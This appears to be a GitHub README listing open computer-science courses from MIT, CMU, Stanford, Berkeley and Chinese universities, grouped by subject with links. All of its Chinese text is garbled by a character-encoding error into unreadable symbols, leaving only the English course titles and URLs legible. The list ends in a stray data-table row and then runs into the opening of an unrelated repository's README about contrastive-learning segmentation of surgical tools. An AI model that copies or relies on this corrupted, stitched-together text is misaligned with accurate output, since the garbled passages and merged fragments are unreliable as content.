ๆฌ็ฝ็ปๆต๏ผ่ฎก็ฎๅ ไฝ๏ผๆฐๅญ็่ฎบ็ฎๆณ๏ผๅค้กนๅผๅ็ฉ้ต่ฎก็ฎ๏ผ็ผๅญ๏ผๅๅนถ่ก่ฎก็ฎใ
ๅฐๅ๏ผ[https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-046j-design-and-analysis-of-algorithms-spring-2015/](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-046j-design-and-analysis-of-algorithms-spring-2015/)
## ้ซ็บง็ง็ฎ
้ซ็บง็ง็ฎๅพๅค๏ผ่ฟ้ๅชๆจ่ไธไบๆฏ่พ็ฅๅ&ไธชไบบๆๅ
ด่ถฃ็๏ผ
- **6.824: Distributed Systems**
ๆฌ่ฏพ็จไป็ปๅๅธๅผ็ณป็ป่ฎพ่ฎก็ๆฝ่ฑกๅๅฎ็ฐๆๆฏใไธป้ขๅ
ๆฌ๏ผๆๅกๅจ่ฎพ่ฎกใ็ฝ็ป็ผ็จใๅฝๅใๅญๅจ็ณป็ปใๅฎๅ
จๆงๅๅฎน้่ฝๅใ
ๅฐๅ๏ผ[https://pdos.csail.mit.edu/6.824/](https://link.zhihu.com/?target=https%3A//pdos.csail.mit.edu/6.824/)
- **6.828: Operating System Engineering**
ๆฌ่ฏพ็จ็ ็ฉถๆไฝ็ณป็ปๅทฅ็จ็ๅบๆฌ่ฎพ่ฎกๅๅฎ็ฐ็ๅฟตใ่ฎฒๅบงไปฅ UNIX ๅ็ ็ฉถ่ฎบๆ็็ ็ฉถไธบๅบ็กใไธป้ขๅ
ๆฌ่ๆๅ
ๅญใ็บฟ็จใไธไธๆๅๆขใๅ
ๆ ธใไธญๆญใ็ณป็ป่ฐ็จใ่ฟ็จ้ด้ไฟกใๅ่ฐๅ่ฝฏไปถๅ็กฌไปถไน้ด็ไบคไบใๅไธชๅฎ้ชๅฎคไปปๅกๆถๅๅจ C ไธญๅฎๆฝๅฐๅๆไฝ็ณป็ป๏ผๅนถๅธฆๆไธไบ x86 ็ปไปถใ
ๅฐๅ๏ผ[https://pdos.csail.mit.edu/6.828/2019/schedule.html](https://link.zhihu.com/?target=https%3A//pdos.csail.mit.edu/6.828/2019/schedule.html)
- **6.829: Computer Networks**
ๅ
จ็็ฝ็ปๅบ็ก่ฎพๆฝๅฆไฝๅทฅไฝ๏ผๅ
ถๅบ็กๆฏไปไน่ฎพ่ฎกๅๅ๏ผๅจๅฎ่ทตไธญ๏ผ่ฟไบ่ฎพ่ฎกๅๅๅจๅชไบๆน้ขๅๅฐไบๆๅฎณ๏ผๆไปฌๅฆไฝไฝฟๅฎๅจๅฝไปไธ็ๆดๅฅฝๅฐๅทฅไฝ๏ผ้ขๅฏนๅฟซ้ๅข้ฟ็่งๆจกๅๅผ่ดจๆง๏ผๆไปฌๅฆไฝ็กฎไฟๅฎๅจๆชๆฅ่ฟไฝ่ฏๅฅฝ๏ผๅบ่ฏฅๅฆไฝ็ผๅ Internet ๅบ็จ็จๅบ๏ผไปฅไพฟๅฎไปฌ่ฝๅคไธบ่ชๅทฑๅไฝฟ็จๅบ็ก็ปๆ็ๅ
ถไปไบบ่ทๅพๆไฝณๆง่ฝ๏ผ่ฟไบๆฏๆฌ่ฏพ็จไธญๆญฃๅจๅค็็ไธไบ้ฎ้ขใๆฌ่ฏพ็จๅฐไพง้ไบๅคงๅ่็ฝ็ณป็ป็่ฎพ่ฎกใๅฎๆฝใๅๆๅ่ฏไผฐใ
ๅฐๅ๏ผ[https://web.mit.edu/6.829/www/currentsemester/](https://link.zhihu.com/?target=https%3A//web.mit.edu/6.829/www/currentsemester/)
- **6.830/6.814: Database Systems**
ๆฌ่ฏพ็จไพๆๆฐๆฎๅบ็คพๅบ็ไธป่ฆ้
่ฏป่ตๆ๏ผๅ็ ็ฉถ็ไป็ปๆฐๆฎๅบ็ณป็ป็ๅบ็ก๏ผ้็นไป็ปๅ
ณ็ณปไปฃๆฐๅๆฐๆฎๆจกๅใๆถๆ่ง่ๅใๆฅ่ฏขไผๅๅไบๅกใ
ๅฐๅ๏ผ[http://db.csail.mit.edu/6.830/index.phpdb.csail.mit.edu/6.830/index.php](https://link.zhihu.com/?target=http%3A//db.csail.mit.edu/6.830/index.php)
## ไบบๅทฅๆบ่ฝ&AI
- [ๅดๆฉ่พพๆบๅจๅญฆไน ](https://www.coursera.org/learn/machine-learning)
- [CS224d: Deep Learning for Natural Language Processing](http://cs224d.stanford.edu/syllabus.html)
- [CS221: Artificial Intelligence: Principles and Techniques](http://web.stanford.edu/class/cs221/)
- [CS 20: Tensorflow for Deep Learning Research](https://web.stanford.edu/class/cs20si/syllabus.html)
- [CS234: Reinforcement Learning](http://web.stanford.edu/class/cs234/schedule.html)
- Amazon ๆๆฒๅคง็ฅๅบ็[ใๅจๆๅญฆๆทฑๅบฆๅญฆไน ใ](https://discuss.gluon.ai/t/topic/753)
- ๅฐๆนพๅคงๅญฆๆ่ฝฉ็ฐๆๆ [ใๆบๅจๅญฆไน ๅบ็ณไธใ](https://www.coursera.org/learn/ntumlone-mathematicalfoundations)๏ผ [ใๆบๅจๅญฆไน ๅบ็ณไธใ](https://www.coursera.org/learn/ntumlone-algorithmicfoundations)
- ๅฐๆนพๅคงๅญฆ[ใApplied Deep Learning/Machine Learning and Having It Deep and Structuredใ](https://www.csie.ntu.edu.tw/~yvchen/f106-adl/syllabus.html)
- [UCB CS188](https://www.bilibili.com/video/av15630620/)
- [MIT 6.034](http://open.163.com/movie/2017/9/Q/S/MCTMNN3UI_MCTMNR8QS.html)
- ๆฏๅฆ็ฆ CS229 [่ง้ข](http://open.163.com/special/opencourse/machinelearning.html) [่ฎฒไน](https://github.com/Kivy-CN/Stanford-CS-229-CN)
- ๆฏๅฆ็ฆ CS231n [่ง้ข](https://www.bilibili.com/video/av17204303/) [่ฎฒไน](https://zhuanlan.zhihu.com/p/21930884?refer=intelligentunit)
- ๆฏๅฆ็ฆ CS224d [ไธป้กต](http://cs224d.stanford.edu/) [่ฎฒไน](http://blog.csdn.net/column/details/dl-nlp.html)
- [ๆฏๅฆ็ฆ CS20si](https://web.stanford.edu/class/cs20si/)
- ๆฏๅฆ็ฆ CS230 / DeepLearningAI [่ง้ข](https://mooc.study.163.com/course/deeplearning_ai-2001281002#/info) [็ฌ่ฎฐ](http://ai-start.com/dl2017/)
- [MIT 6.S191](https://www.bilibili.com/video/av19113488)
- UCB CS294 [่ง้ข](https://www.bilibili.com/video/av9802698/) [็ฌ่ฎฐ](https://zhuanlan.zhihu.com/c_150977189)
## ๆไฝ็ณป็ป
- [MIT ๅคงๅ้ผ้ผ็6.828](<https://pdos.csail.mit.edu/6.828/2018/schedule.html>)
- [ๆธ
ๅๅคงๅญฆ็OS่ฏพ็จ ucore,่ง้ขๅจๅญฆๅ ๅจ็บฟๅbilibiliๅๆ](<http://os.cs.tsinghua.edu.cn/oscourse/OS2017spring#A.2Bi.2F56C4nGmJE->)
- [rust ็ๆฌucore rcore](https://rcore-os.github.io/rCore_tutorial_doc/)
- [ๅไบฌๅคงๅญฆ ICS PA](https://nju-projectn.github.io/ics-pa-gitbook/ics2019/)
- NJU ICS PA [Bilibili้พๆฅ](https://www.bilibili.com/video/BV1qa4y1j7xk)
- [NJU OS](https://www.bilibili.com/video/BV1HN41197Ko?p=1)
- ไธๆตทไบค้ๅคงๅญฆ ๆไฝ็ณป็ป (้ๆตทๆณขใๅค่ๆ) [BiliBili้พๆฅ](https://www.bilibili.com/video/BV1B341117Ez?from=search&seid=711317104834272627&spm_id_from=333.337.0.0)
- [ไธๆตทไบค้ๅคงๅญฆ SE315](https://ipads.se.sjtu.edu.cn/courses/os/) [่ง้ข่ฏพ็จ๏ผๅฅฝๅคงๅญฆๅจ็บฟ๏ผ ](https://www.cnmooc.org/portal/course/5610/14956.mooc) [ๆๆ ใ็ฐไปฃๆไฝ็ณป็ปโโๅ็ไธๅฎ็ฐใ](https://ipads.se.sjtu.edu.cn/mospi/) [้
ๅฅ Lab](https://gitee.com/ipads-lab/chcore-lab)
- [CMU CSAPP ๅฏนๅบ็่ฏพ็จ 15213](https://www.cs.cmu.edu/~213/schedule.html)
- [CMU 15410/605](https://www.cs.cmu.edu/~410/)
- [Gate Lectures OS](https://www.youtube.com/playlist?list=PLEbnTDJUr_If_BnzJkkN_J0Tl3iXTL8vq)
## ็จๅบ่ฏญ่จ
- [Structure and Interpretation of Computer Programs](https://book.douban.com/subject/1451622/)
- [CIS 194(ๅญฆไน haskell)](<https://www.seas.upenn.edu/~cis194/spring13/lectures.html>)
- [ไผฏๅ
ๅฉๆน็Python็SICP](<https://cs61a.org/>)
- [ๅ็้กฟๅคงๅญฆ Programming Languages](<https://www.coursera.org/lecture/programming-languages/welcome-and-some-course-mechanics-3dedE>)
- [ๆต็ผฉ็mit 6.001(SICP)](http://web.mit.edu/alexmv/6.037/)
## ็ผ่ฏๅจ
- [stanford CS143](http://web.stanford.edu/class/cs143/)
- [stanford CS243](https://suif.stanford.edu/~courses/cs243/)
- [stanford CS343](http://web.stanford.edu/class/cs343/)
- [Gate Lectures ็ผ่ฏ](https://www.youtube.com/playlist?list=PLEbnTDJUr_IcPtUXFy2b1sGRPsLFMghhS)
## ๆฐๆฎๅบ็ณป็ป
- [CMU 15445](https://15445.courses.cs.cmu.edu/fall2019/#)
- [CMU 15721](https://15721.courses.cs.cmu.edu/spring2019/)
- [MIT 6.830/6.814](<http://db.lcs.mit.edu/6.830/sched.php>)
- [pingcap talent-plan](https://zhuanlan.zhihu.com/p/61340679)
- [instruction](https://docs.google.com/document/d/1UG0OHuL6l_hHWs3oyT9gA2n7LuYUfV23nmz0tRvXq2k/edit#heading=h.ywlair765ic9)
- [CS 245](http://web.stanford.edu/class/cs245/#schedule)
- [ๆฏๅฆ็ฆ CS346](https://web.stanford.edu/class/cs346/2015/)
- [ไผฏๅ
ๅฉ CS 186](https://cs186berkeley.net/)
- [ๆฏๅฆ็ฆ CS145](https://www.bilibili.com/video/av19616961/)
- [ๅ็้กฟๅคงๅญฆ CSE444](https://courses.cs.washington.edu/courses/cse444/15sp/)
## ๅๅธๅผ็ณป็ป
- **ๆฐๆฎ็ปๆ** by ้ๅ
ฌ from ๆธ
ๅ๏ผ[MOOC](https://link.zhihu.com/?target=http%3A//www.xuetangx.com/courses/course-v1%3ATsinghuaX%2B30240184%2Bsp/about)
- [MIT 6.824](https://pdos.csail.mit.edu/6.824/)
- [Stanford CS244b: Distributed systems](https://www.scs.stanford.edu/14au-cs244b/)
- [CMU 15-440/640, Spring 2016: Distributed Systems](https://www.cs.cmu.edu/~15-440/)
## ๆฐๆฎ็ปๆไธ็ฎๆณ
- [UCB CS61b](https://inst.eecs.berkeley.edu/~cs61b/)
- [ๆฎๆๆฏ้กฟ Algs4](http://algs4.cs.princeton.edu/)
- [MIT 6.006](http://open.163.com/special/opencourse/algorithms.html)
- [Gate Lectures ็ฎๆณๅๆฐๆฎ็ปๆ](https://www.youtube.com/playlist?list=PLEbnTDJUr_IeHYw_sfBOJ6gk5pie0yP-0)
- [ใ็ฎๆณ ็ฌฌๅ็ใ](https://algs4.cs.princeton.edu/home/)
- ๆฎๆๆฏ้กฟๅจ [Coursera](https://www.coursera.org/) ไธไนๅ
ฌๅผไบไธค้จๅฏนๅบ่ฏพ็จ๏ผ[Algorithms, Part I](https://www.coursera.org/learn/algorithms-part1) ๅ [Algorightmsm, Part2](https://www.coursera.org/learn/algorithms-part2)
- [ๆฏๅฆ็ฆ CS106b](http://open.163.com/special/opencourse/abstractions.html) (broken link)
## ่ฎก็ฎๆบ็ฝ็ป
- **่ฎก็ฎๆบ็งๅญฆ** ๅไฝ๏ผ [B็ซ](https://link.zhihu.com/?target=https%3A//www.bilibili.com/video/av310513%3Ffrom%3Dsearch%26seid%3D4682685095165261117)
- [CMU-15441](https://computer-networks.github.io/sp19/)
- [cs144](https://cs144.github.io/)
- [top to down approach](http://uniteng.com/wiki/doku.php?id=classlog:computer_networks)
- [myk's top-to-down](https://github.com/moranzcw/Computer-Networking-A-Top-Down-Approach-NOTES)
- [ไผฏๅ
ๅฉ EE122](https://www2.eecs.berkeley.edu/Courses/EE122/)
- [Gate Lectures ่ฎก็ฝ](https://www.youtube.com/playlist?list=PLEbnTDJUr_IegfoqO4iPnPYQui46QqT0j)
- [ๆฏๅฆ็ฆ CS144](https://www.bilibili.com/video/av11930774/)
- ้บป็็ๅทฅMIT ่ฎก็ฎๆบๅฎๅ
จไธ็ฝ็ปๅฎๅ
จ [ๅฝๅ
B็ซ้พๆฅ](https://www.bilibili.com/video/BV1Bm4y1o7cx?spm_id_from=333.1007.top_right_bar_window_history.content.click)
## ่ฎก็ฎๆบ็ณป็ป่ฎพ่ฎก
- [nand2tetris](http://www.nand2tetris.org/)
- CMU 15-213 [่ง้ข](https://www.bilibili.com/video/BV1iW411d7hd) [่ฎฒไน](https://hansimov.gitbook.io/csapp/)
- MIT 6.828 [ๅฎ็ฝไธป้กต](https://pdos.csail.mit.edu/6.828/) [xv6ไธญๆๆๆกฃ](https://th0ar.gitbooks.io/xv6-chinese/content/content/cover.html)
- [UCB CS61c](http://www-inst.eecs.berkeley.edu/~cs61c/)
## ็ ็ฉถ็่ฏพ็จ
- **6.254 ๆธธๆ็่ฎบ็ๅทฅ็จๅบ็จ**
่ฏพ็จๅฐๅ๏ผ [Game Theory with Engineering Applications (Spring 2010)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-254-game-theory-with-engineering-applications-spring-2010)
- **6.823 ่ฎก็ฎๆบ็ณป็ปๆถๆ**
่ฏพ็จๅฐๅ๏ผ[Computer System Architecture (Fall 2005)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-823-computer-system-architecture-fall-2005)
- **6.824 ๅๅธๅผ่ฎก็ฎๆบ็ณป็ปๅทฅ็จ**
่ฏพ็จๅฐๅ๏ผ[Distributed Computer Systems Engineering (Spring 2006)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-824-distributed-computer-systems-engineering-spring-2006)
่ฟ้จ่ฏพ็่ๅธไนไธๆฏRobert Morris๏ผไปๆฏ่ ่ซ็ๅถ้ ่
๏ผๆพ่ขซ่ฏไธบ5ๅคง้ปๅฎขไนไธใ
- **6.825 ไบบๅทฅๆบ่ฝๆๆฏ**
่ฏพ็จๅฐๅ๏ผ[Techniques in Artificial Intelligence (SMA 5504) (Fall 2002)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-825-techniques-in-artificial-intelligence-sma-5504-fall-2002)
- **6.826 ่ฎก็ฎๆบ็ณป็ป็่ฎบ**
่ฏพ็จๅฐๅ๏ผ[Principles of Computer Systems (Spring 2002)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-826-principles-of-computer-systems-spring-2002)
- **6.827 ๅค็บฟ็จๅนถๅ๏ผ่ฏญ่จไธ็ผ่ฏๅจ**
่ฏพ็จๅฐๅ๏ผ[Multithreaded Parallelism: Languages and Compilers (Fall 2002)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-827-multithreaded-parallelism-languages-and-compilers-fall-2002)
- **6.828: ๆไฝ็ณป็ปๅทฅ็จ**
่ฏพ็จๅฐๅ๏ผ[Operating System Engineering(2018)](https://link.zhihu.com/?target=https%3A//pdos.csail.mit.edu/6.828/2018/schedule.html)ใ[Operating System Engineering (Fall 2012)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-828-operating-system-engineering-fall-2012)
ๅ็ฝฎ่ฏพ็จๆฏ [6.033 Computer System Engineering](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-033-computer-system-engineering-spring-2009)*ใ*[6.170 Software Studio](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-170-software-studio-spring-2013)*ใ*[6.004 Computation Structures](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-004-computation-structures-spring-2009)
่ฟ้จ่ฏพ็ ็ฉถ็ๆฏๆไฝ็ณป็ป็ๅบ็ก่ฎพ่ฎกๅๅฎ็ฐ๏ผๅ
ๆฌ่ๆๅ
ๅญใ็บฟ็จใไธไธๆๅๆขใๅ
ๆ ธใไธญๆญใ็ณป็ป่ฐ็จใ่ฟ็จ้ด้ไฟกใๅ่ฐๅ่ฝฏไปถๅ็กฌไปถไน้ด็ไบคไบใ
- **6.829: ่ฎก็ฎๆบ็ฝ็ป**
่ฏพ็จๅฐๅ๏ผ[Computer Networks, Fall 2020](https://link.zhihu.com/?target=https%3A//web.mit.edu/6.829/www/currentsemester/)ใ[Computer Networks (Fall 2002)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-829-computer-networks-fall-2002)
- **6.830/6.814 ๆฐๆฎๅบ็ณป็ป** โ
โ
โ
โ
โ
่ฏพ็จๅฐๅ๏ผ[Database Systems (Spring 2021)](https://link.zhihu.com/?target=http%3A//dsg.csail.mit.edu/6.830/index.php)ใ[Database Systems (Fall 2010)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-830-database-systems-fall-2010)
- **6.831 ็จๆทๆฅๅฃ่ฎพ่ฎกไธๅบ็จ**
่ฏพ็จๅฐๅ๏ผ[User Interface Design and Implementation (Spring 2011)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-831-user-interface-design-and-implementation-spring-2011)
- **6.838 ่ฎก็ฎๆบๅจ็ป็็ฎๆณ**
่ฏพ็จๅฐๅ๏ผ[Algorithms for Computer Animation (Fall 2002)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-838-algorithms-for-computer-animation-fall-2002)
- **6.840J ่ฎก็ฎ็่ฎบ**
่ฏพ็จๅฐๅ๏ผ[Theory of Computation (Fall 2006)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/mathematics/18-404j-theory-of-computation-fall-2006)
- **6.841J ่ฎก็ฎๅคๆๆง็่ฎบ**
่ฏพ็จๅฐๅ๏ผ[Advanced Complexity Theory (Spring 2016)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/mathematics/18-405j-advanced-complexity-theory-spring-2016)
- **6.844 ่ฎก็ฎๅคๆๆง็่ฎบ๏ผScheme่ฏญ่จ๏ผ**
่ฏพ็จๅฐๅ๏ผ[Computability Theory of and with Scheme (Spring 2003)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-844-computability-theory-of-and-with-scheme-spring-2003)
- **6.851 ้ซ็บงๆฐๆฎ็ปๆ**
่ฏพ็จๅฐๅ๏ผ[Advanced Data Structures (Spring 2012)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-851-advanced-data-structures-spring-2012)
- **6.852J ๅๅธๅผ็ฎๆณ**
่ฏพ็จๅฐๅ๏ผ[Distributed Algorithms (Fall 2009)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-852j-distributed-algorithms-fall-2009)
- **6.854J ้ซ็บง็ฎๆณ**
่ฏพ็จๅฐๅ๏ผ[Advanced Algorithms (Fall 2008)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-854j-advanced-algorithms-fall-2008)ใ[Advanced Algorithms (Fall 2005)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-854j-advanced-algorithms-fall-2005)
- **6.855J ็ฝ็ปไผๅ**
่ฏพ็จๅฐๅ๏ผ[Network Optimization (Fall 2010)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/sloan-school-of-management/15-082j-network-optimization-fall-2010)
- **6.856J ้ๆบ็ฎๆณ**
่ฏพ็จๅฐๅ๏ผ[Randomized Algorithms (Fall 2002)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-856j-randomized-algorithms-fall-2002)
- **6.857 ็ฝ็ปไธ่ฎก็ฎๆบๅฎๅ
จ**
่ฏพ็จๅฐๅ๏ผ[Network and Computer Security (Spring 2014)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-857-network-and-computer-security-spring-2014)
- **6.858 ่ฎก็ฎๆบ็ณป็ปๅฎๅ
จ**
่ฏพ็จๅฐๅ๏ผ[Computer Systems Security (Fall 2014)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-858-computer-systems-security-fall-2014)
- **6.859J ๆดๆฐ่งๅไธ็ปๅไผๅ**
่ฏพ็จๅฐๅ๏ผ[Integer Programming and Combinatorial Optimization (Fall 2009)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/sloan-school-of-management/15-083j-integer-programming-and-combinatorial-optimization-fall-2009)
- **6.863J ่ช็ถ่ฏญ่จไธ่ฎก็ฎๆบ่กจ็คบ**
่ฏพ็จๅฐๅ๏ผ[Natural Language and the Computer Representation of Knowledge (Spring 2003)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-863j-natural-language-and-the-computer-representation-of-knowledge-spring-2003)
- **6.864 ้ซ็บง่ช็ถ่ฏญ่จๅค็**
่ฏพ็จๅฐๅ๏ผ[Advanced Natural Language Processing (Fall 2005)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-864-advanced-natural-language-processing-fall-2005)
- **6.866 ๆบๅจ่ง่ง**
่ฏพ็จๅฐๅ๏ผ[Machine Vision (Fall 2020)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-801-machine-vision-fall-2020)
- **6.867 ๆบๅจๅญฆไน **
่ฏพ็จๅฐๅ๏ผ[Machine Learning (Fall 2006)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-867-machine-learning-fall-2006)
- **6.871 ็ฅ่ฏๅๅบ็จ็ณป็ป**
่ฏพ็จๅฐๅ๏ผ[Knowledge-Based Applications Systems (Spring 2005)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-871-knowledge-based-applications-systems-spring-2005)
- **6.875 ๅฏ็ ๅญฆไธๅฏ็ ๅๆ**
่ฏพ็จๅฐๅ๏ผ[Cryptography and Cryptanalysis (Spring 2005)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-875-cryptography-and-cryptanalysis-spring-2005)
- **6.876J ้ซ็บงๅฏ็ ๅญฆ**
่ฏพ็จๅฐๅ๏ผ[Advanced Topics in Cryptography (Spring 2003)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-876j-advanced-topics-in-cryptography-spring-2003)
- **6.881 ๅพๅ่กจ็คบไธๅๆๆนๆณ**
่ฏพ็จๅฐๅ๏ผ[Representation and Modeling for Image Analysis (Spring 2005)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-881-representation-and-modeling-for-image-analysis-spring-2005)
- **6.883 ๆฎ้่ฎก็ฎๆๆฏ**
่ฏพ็จๅฐๅ๏ผ[Pervasive Human Centric Computing (SMA 5508) (Spring 2006)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-883-pervasive-human-centric-computing-sma-5508-spring-2006)
- **6.883 ็จๅบๅๆ**
่ฏพ็จๅฐๅ๏ผ[Program Analysis (Fall 2005)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-883-program-analysis-fall-2005)
- **6.890 ็ฎๆณๅคๆๅบฆๅๆ**
่ฏพ็จๅฐๅ๏ผ[Algorithmic Lower Bounds: Fun with Hardness Proofs (Fall 2014)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-890-algorithmic-lower-bounds-fun-with-hardness-proofs-fall-2014)
- **6.892 ่ฏญ็ฏๅๆ็่ฎก็ฎๆบๆจกๅ**
่ฏพ็จๅฐๅ๏ผ[Computational Models of Discourse (Spring 2004)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-892-computational-models-of-discourse-spring-2004)
- **6.895 ็ผ็ ่ฆ็ด ็่ฎบ**
่ฏพ็จๅฐๅ๏ผ[Essential Coding Theory (Fall 2004)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-895-essential-coding-theory-fall-2004)
- **6.895 ๅนณ่ก็ณป็ป็่ฎบ**
่ฏพ็จๅฐๅ [Theory of Parallel Systems (SMA 5509) (Fall 2003)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-895-theory-of-parallel-systems-sma-5509-fall-2003)
- **6.896 ๅนณ่ก็กฌไปถ็่ฎบ**
่ฏพ็จๅฐๅ๏ผ[Theory of Parallel Hardware (SMA 5511) (Spring 2004)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-896-theory-of-parallel-hardware-sma-5511-spring-2004)
- **6.897ๅฏ็ ๅญฆ่ฎบๆ้่ฏป**
่ฏพ็จๅฐๅ๏ผ[Selected Topics in Cryptography (Spring 2004)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-897-selected-topics-in-cryptography-spring-2004)
## ๅฎ้ช่ฏพ
MIT้ๅฏนไธๅ็็ผ็จ่ฏญ่จ้ฝๆ้
ๅฅ็ๅฎ้ช่ฏพLab๏ผๅฆC่ฏญ่จใJavaใC++็ญ
- **6.087 C่ฏญ่จๅฎๆ**
่ฏพ็จๅฐๅ๏ผ[Practical Programming in C (January IAP 2010)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-087-practical-programming-in-c-january-iap-2010)
- **6.088 C่ฏญ่จๅ
ๅญ็ฎก็ไธC++้ขๅๅฏน่ฑก**
่ฏพ็จๅฐๅ๏ผ[Introduction to C Memory Management and C++ Object-Oriented Programming (January IAP 2010)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-088-introduction-to-c-memory-management-and-c-object-oriented-programming-january-iap-2010)
- **6.090 ่ฝฏไปถๅผๅ็ป้ช**
่ฏพ็จๅฐๅ๏ผ[Building Programming Experience: A Lead-In to 6.001 (January IAP 2005)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-090-building-programming-experience-a-lead-in-to-6-001-january-iap-2005)
- **6.092 Java็จๅบๅฏผ่ฎบ**
่ฏพ็จๅฐๅ๏ผ[Introduction to Programming in Java (January IAP 2010)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-092-introduction-to-programming-in-java-january-iap-2010) ใ[Java Preparation for 6.170 (January IAP 2006)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-092-java-preparation-for-6-170-january-iap-2006)
- **6.096 C++็จๅบๅผๅ**
่ฏพ็จๅฐๅ๏ผ[Introduction to C++ (January IAP 2011)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-096-introduction-to-c-january-iap-2011)
- **6.370 ไบบๅทฅๆบ่ฝ็ซ่ต**
่ฏพ็จๅฐๅ๏ผ[The Battlecode Programming Competition (January IAP 2013)](https://link.zhihu.com/?target=https%3A//ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-370-the-battlecode-programming-competition-january-iap-2013)
## ๅทจไบบ็่ฉ่
https://zhuanlan.zhihu.com/p/112763953
https://www.zhihu.com/question/57532048
https://www.zhihu.com/question/29597104
https://www.zhihu.com/question/20571226/answer/1901441044
https://zhuanlan.zhihu.com/p/39030715
| ๐ๅฝๅ
ๅค่ฎก็ฎๆบ็ไผ็ง่ฏพ็จ๏ผๅ
ๅซMITใCMU็ญไธ็CSๅๆ ก๏ผ๐ฅ๐ฅๅ
ถไธญๅ
ๅซ่ฎก็ฎๆบๅบ็กๅญฆ็ง๏ผๆไฝ็ณป็ปใ่ฎก็ฎๆบ็ฝ็ปใ็ผ่ฏๅจใๆฐๆฎๅบใๆฐๆฎ็ปๆไธ็ฎๆณ็ญ๏ผไปฅๅไบบๅทฅๆบ่ฝ&AI็ญ้ซ็บง็ง็ฎ๏ผๆฌข่ฟ้่ฟPRๅฝขๅผ่ดก็ฎ๏ผ | null | 0 | 1 | 0 | 29 | 1 | 1 | 0 |
AngeLouCN/Min_Max_Similarity | # Min_Max_Similarity
A contrastive learning based semi-supervised segmentation network for medical image segmentation
This repository contains the implementation of a novel contrastive learning based semi-segmentation networks to segment the surgical tools.
[](https://paperswithcode.com/sota/semi-supervised-semantic-segmentation-on-33?p=min-max-similarity-a-contrastive-learning)
[](https://paperswithcode.com/sota/semi-supervised-semantic-segmentation-on-2017?p=min-max-similarity-a-contrastive-learning)
